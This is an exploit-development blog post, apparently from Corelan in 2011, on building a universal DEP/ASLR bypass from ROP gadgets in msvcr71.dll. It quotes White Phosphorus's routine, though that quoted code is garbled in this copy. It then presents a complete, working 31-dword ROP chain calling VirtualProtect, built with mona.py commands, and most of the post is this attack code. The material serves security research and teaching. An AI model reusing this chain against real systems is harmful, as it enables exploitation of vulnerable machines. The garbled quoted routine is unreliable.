35,996 views
Universal DEP/ASLR bypass with msvcr71.dll and mona.py
Introduction
Over the last few weeks, there has been some commotion about a universal DEP/ASLR bypass routine using ROP gadgets from msvcr71.dll and the fact that it might have been copied into an exploit submitted to Metasploit as part of the Metasploit bounty.
For the record, I don’t know exactly what happened nor have I seen the proof… so I’m not going to make any statements about this or judge anyone.
Furthermore, this post is not about the incident, but about the routine itself (which looks pretty slick) and alternative routines.
The White Phosphorus version
Released as part of the White Phosphorus Exploit Pack, the routine only uses gadgets and pointer to VirtualProtect from msvcr71.dll. That particular version of the dll does not rebase and is not ASLR enabled either, which makes it a perfect candidate for universal/generic DEP & ASLR bypass, providing that it contains all required gadgets to perform a generic ROP routine.
If your target application has that particular version of the dll loaded (or if you can force it to load one way or another), you can use the ROP chain to bypass DEP and ASLR in a generic way.
Immunity Inc published the bypass technique on their website. The routine looks like this :
def wp_sayonaraASLRDEPBypass(size=1000): # White Phosphorus # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7] # # This technique uses msvcr71.dll which has shipped unchanged # in the Java Runtime Environment since v1.6.0.0 released # December 2006. # # mail: support@whitephosphorus org # sales: http://www.immunityinc.com/products-whitephosphorus.shtml print "WP> Building Sayonara - Universal ASLR and DEP bypass" size += 4 # bytes to shellcode after pushad esp ptr depBypass = pack('pack(' pack(' xor chain; call eax {0x7C3410C2} depBypass += pack(' pack(' pack(' pack(' pack(' pack(' pack("", -size) # {size} depBypass += pack(' neg eax;ret; {adjust size} depBypass += pack('add ebx, eax;ret; {size into ebx} depBypass += pack(' pack(' pack(' neg edx;ret; {adjust flag} depBypass += pack(' pack(' pack(' pack(' pack(' sub eax,30;ret; depBypass += pack(' add al,0xef; ret; depBypass += pack(' push esp;ret; print "WP> Universal Bypass Size: %d bytes"%len(depBypass) return depBypass
(22 dwords)
Triggered by the Metasploit bounty "incident", the fact that Abysssec published a post/document just a few hours ago, and because Immunity already released the routine, I decided to take a look myself & see if there would be another way to build an alternative DEP/ASLR Bypass routine from msvcr71.dll.
The alternative version (mona.py)
I attached Immunity Debugger to an application that has the dll loaded, and used mona.py to create a database with rop gadgets & have it produce a rop chain.
Since the one written part of White Phosporus doesn’t have any null bytes, I will try to do the same thing.
This is the result :
Command used :
!mona rop -m msvcr71.dll -n
17 seconds later, I got this :
rop_gadgets = [ 0x7c346c0a, # POP EAX # RETN (msvcr71.dll) 0x7c37a140, # <- *&VirtualProtect() 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll) 0x????????, # ** <- find routine to move virtualprotect() into esi # ** Hint : look for mov [esp+offset],eax and pop esi 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to 'push esp # ret ' (from msvcr71.dll) 0x7c346c0a, # POP EAX # RETN (msvcr71.dll) 0xfffffdff, # value to negate, target value : 0x00000201, target: ebx 0x7c351e05, # NEG EAX # RETN (msvcr71.dll) 0x7c354901, # POP EBX # RETN (msvcr71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (msvcr71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll) 0x7c34d201, # POP ECX # RETN (msvcr71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (msvcr71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (msvcr71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (msvcr71.dll) 0x7c346c0a, # POP EAX # RETN (msvcr71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (msvcr71.dll) # rop chain generated by mona.py # note : this chain may not work out of the box # you may have to change order or fix some gadgets, # but it should give you a head start ].pack("V*")
Interesting… mona.py generated an almost complete ROP chain using gadgets using pointers from msvcr71.dll.
It is slightly larger than the one written by Immunity (so yes, the one part of WP is most likely better), but I just wanted to see if there was an alternative available.
The only thing that is missing from the one mona generated, is a routine that would put the VirtualProtect() (in eax) into esi.
mona.py didn’t find any obvious gadgets that would simply do something such as "mov esi,eax", so I had to manually search for an alternative.
But as mona.py suggested, I simply had to find a gadget that would write the value in eax onto the stack, so you can pick it up in esi later on.
In order to do so, you probably need 2 or 3 gadgets : one to get the stack pointer, a second one to write the value onto the stack and a third one to pick it up (pop esi).
After searching the generated rop.txt file for a few minutes, I found the following 2 gadgets that will do this :
0x7c37591f : # PUSH ESP # ADD EAX,DWORD PTR DS:[EAX] # ADD CH,BL # INC EBP # OR AL,59 # POP ECX # POP EBP # RETN
0x7c376069 : # MOV DWORD PTR DS:[ECX+1C],EAX # POP EDI # POP ESI # POP EBX # RETN
That should work.
Using those 2 gadgets, we can simply write the pointer to VirtualProtect() onto the stack and pick it up in ESI. In fact, the second gadget will write and pick up in the same gadget. We just need to make ECX point at the correct location on the stack and make sure POP ESI will take it from that location.
Note that the first gadget requires EAX to contain a valid pointer to a readable location. So all we would have to do to make it readable is pop a readable address from msvcr71.dll into EAX first.
Putting all of this together, the chain looks like this :
rop_gadgets = [ 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # Make EAX readable 0x7c37591f, # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll) 0x41414141, # EBP (filler) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x7c37a140, # <- *&VirtualProtect() 0x7c3530ea, # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll) 0x7c346c0b, # Slide, so next gadget would write to correct stack location 0x7c376069, # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll) 0x41414141, # EDI (filler) 0x41414141, # will be patched at runtime (VP), then picked up into ESI 0x41414141, # EBX (filler) 0x7c376402, # POP EBP # RETN (msvcr71.dll) 0x7c345c30, # ptr to 'push esp # ret ' (from MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0xfffffdff, # size 0x00000201 -> ebx, modify if needed 0x7c351e05, # NEG EAX # RETN (MSVCR71.dll) 0x7c354901, # POP EBX # RETN (MSVCR71.dll) 0xffffffff, # pop value into ebx 0x7c345255, # INC EBX # FPATAN # RETN (MSVCR71.dll) 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll) 0x7c34d201, # POP ECX # RETN (MSVCR71.dll) 0x7c38b001, # RW pointer (lpOldProtect) (-> ecx) 0x7c34b8d7, # POP EDI # RETN (MSVCR71.dll) 0x7c34b8d8, # ROP NOP (-> edi) 0x7c344f87, # POP EDX # RETN (MSVCR71.dll) 0xffffffc0, # value to negate, target value : 0x00000040, target: edx 0x7c351eb1, # NEG EDX # RETN (MSVCR71.dll) 0x7c346c0a, # POP EAX # RETN (MSVCR71.dll) 0x90909090, # NOPS (-> eax) 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll) # rop chain generated with mona.py ].pack("V*")
31 dwords… 9 dwords larger than the commercial one from White Phosphorus… but it proves my point. It took me less than 10 minutes to build this chain, it’s universal and bypasses DEP and ASLR.
Oh, by the way, in case you didn’t know… if you have other bad chars (so let’s say you also need to avoid using ‘\x0a’ and ‘\x0d’) then you could just run
!mona rop -m msvcr71.dll -n -cpb '\x0a\x0d'
and get other pointers… yes, it’s that simple.
Conclusion
no matter how nice & ‘tempting’ a certain solution looks like, there always might be an alternative, and creativity often leads to results.
© 2011 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.
5 Responses to Universal DEP/ASLR bypass with msvcr71.dll and mona.py
Corelan Training
Check out our schedules page here and sign up for one of our classes now!
Donate
Your donation will help funding server hosting.
Corelan Team Merchandise
Corelan on Slack
You can chat with us and our friends on our Slack workspace: